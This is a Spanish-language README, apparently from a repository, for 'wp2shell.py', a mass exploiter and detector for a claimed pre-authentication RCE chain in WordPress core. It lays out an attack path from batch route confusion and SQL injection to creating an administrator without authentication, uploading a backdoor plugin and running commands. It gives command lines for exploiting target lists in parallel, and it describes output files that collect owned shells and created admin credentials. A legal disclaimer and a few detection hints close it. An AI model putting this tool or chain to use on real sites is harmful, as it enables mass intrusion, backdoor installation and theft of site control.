Explotador masivo y detector en Python para la cadena RCE pre-autenticación de WordPress Core CVE-2026-63030 y CVE-2026-60137, encadenando inyección SQL con ejecución remota de código.
RCE preautenticación en el núcleo de WordPress (exploit masivo / detector)
| Atributo | Detalles |
|---|---|
| CVE ID | CVE-2026-63030 (+ CVE-2026-60137) |
| Cadena | wp2shell — RCE preautenticación |
| Gravedad | 🔴 CRÍTICA (CVSS 9.8) |
| Objetivo | Núcleo de WordPress (sin plugins) |
| Afectado (RCE) | 6.9.0 – 6.9.4 y 7.0.0 – 7.0.1 |
| Afectado (solo SQLi) | 6.8.0 – 6.8.5 |
| Corregido | 6.8.6 / 6.9.5 / 7.0.2 (18/07/2026) |
| Autenticación requerida | Ninguna |
Dos fallos encadenados en el núcleo de WordPress:
author__not_in de la clase interna WP_Query./wp-json/batch/v1 desincroniza las entradas del batch, haciendo que una petición "caiga" en la ruta siguiente.La cadena convierte la SQLi en RCE preautenticación:
route confusion /wp-json/batch/v1 ─► SQLi no author__not_in
│ │
└──────────────┬─────────────────────┘
▼
UNION fake-post + oEmbed + changeset poisoning
▼
POST /wp/v2/users (roles: administrator) ← admin creado sin auth
▼
login → upload plugin backdoor → RCE
Alternativas: INTO OUTFILE directo (privilegio FILE) y extracción ciega de hash + crack.
python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
| Opción | Descripción |
|---|---|
-l, --targets-file | Un objetivo por línea (repetible, sin límite) |
-u, --target | Objetivo único |
--cmd | Comando a ejecutar en el objetivo |
--authorized | Obligatorio (o WP2SHELL_AUTHORIZED=1) |
-c, --concurrency | Objetivos en paralelo (1–32) |
--delay | SLEEP del timing/extracción (2 = robusto) |
--rate | Peticiones/s por objetivo |
-k, --insecure | Ignora TLS |
--proxy | Proxy HTTP |
--wordlist / --password / --username | Alternativa de credenciales |
--log / --owned / --results-csv | Archivos de salida |
[+] [14:22:31] https://target.com OWNED ✓1 ~0 ✗10
[~] [14:22:32] https://other.com ADMIN ✓1 ~1 ✗10
---- SUMMARY ----
[+] owned=1 [~] admin=1 [-] fail=10 [.] error=0
owned.txt — objetivos con RCE (shell URL)admins.txt — admins creados sin sink de RCE (credenciales)exploit_log.txt — detalle por objetivoresults.csv — resumen (exit_code: 0=owned, 4=admin, 2=fail, 3=error)whl_page vía SQLi) + slugs comunes├── wp2shell.py # exploit + detector
├── targets.txt # objetivos (una URL por línea)
├── owned.txt # RCE conseguido (auto-creado)
├── admins.txt # admins creados (auto-creado)
└── README.md
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
/wp-json/batch/v1 y /?rest_route=/batch/v1wp-content/uploads/ y wp-content/plugins/ en busca de PHP sospechoso